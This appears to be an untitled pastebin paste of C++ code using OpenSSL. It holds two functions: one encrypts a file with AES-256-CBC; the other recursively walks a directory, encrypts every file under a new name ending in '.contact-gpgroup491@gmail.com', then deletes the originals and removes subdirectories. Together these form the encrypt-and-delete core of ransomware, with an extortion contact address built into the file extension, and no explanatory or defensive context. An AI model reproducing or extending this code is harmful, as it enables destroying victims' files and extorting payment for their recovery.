Untitled

 avatar
unknown
plain_text
2 years ago
2.5 kB
4
Indexable
int encryptFile(const char* inFile, const char* outFile, const unsigned char* key, const unsigned char* iv) {

    EVP_CIPHER_CTX* ctx;

    unsigned char bufferIn[BUFFER_SIZE], bufferOut[BUFFER_SIZE + EVP_MAX_BLOCK_LENGTH];

    int bytesRead, bytesWritten, bytesFinal;

    std::ifstream fin(inFile, std::ios::binary);

    std::ofstream fout(outFile, std::ios::binary);

    const EVP_CIPHER* cipher = EVP_aes_256_cbc();

    int cipherKeyLength = EVP_CIPHER_key_length(cipher);

    int cipherBlockSize = EVP_CIPHER_block_size(cipher);

    unsigned char cipherKey[32], cipherIv[16];

    memset(cipherKey, 0, cipherKeyLength);

    memset(cipherIv, 0, cipherBlockSize);

    memcpy(cipherKey, key, cipherKeyLength);

    memcpy(cipherIv, iv, cipherBlockSize);

    ctx = EVP_CIPHER_CTX_new();

    EVP_EncryptInit_ex(ctx, cipher, NULL, cipherKey, cipherIv);

    while (fin.good()) {

        fin.read(reinterpret_cast<char*>(bufferIn), BUFFER_SIZE);

        bytesRead = fin.gcount();

        if (bytesRead > 0) {

            if (!EVP_EncryptUpdate(ctx, bufferOut, &bytesWritten, bufferIn, bytesRead)) {

                EVP_CIPHER_CTX_free(ctx);

                return 0;

            }

            fout.write(reinterpret_cast<char*>(bufferOut), bytesWritten);

        }

    }

    if (!EVP_EncryptFinal_ex(ctx, bufferOut, &bytesFinal)) {

        EVP_CIPHER_CTX_free(ctx);

        return 0;

    }

    fout.write(reinterpret_cast<char*>(bufferOut), bytesFinal);

    EVP_CIPHER_CTX_free(ctx);

    fin.close();

    fout.close();

    return 1;

}



void encryptDirectory(const char* path, const unsigned char* key, const unsigned char* iv) {

    DIR* dir = opendir(path);

    struct dirent* entry;

    char filePath[MAX_PATH];

    while ((entry = readdir(dir)) != NULL) {

        if (strcmp(entry->d_name, ".") != 0 && strcmp(entry->d_name, "..") != 0) {

            sprintf(filePath, "%s\\%s", path, entry->d_name);

            if (entry->d_type == DT_DIR) {

                encryptDirectory(filePath, key, iv);

                RemoveDirectoryA(filePath);

            }
            else {

                char outFile[MAX_PATH];

                sprintf(outFile, "%s.contact-gpgroup491@gmail.com", filePath);

                encryptFile(filePath, outFile, key, iv);

                DeleteFileA(filePath);

            }

        }

    }

    closedir(dir);

}

Editor is loading...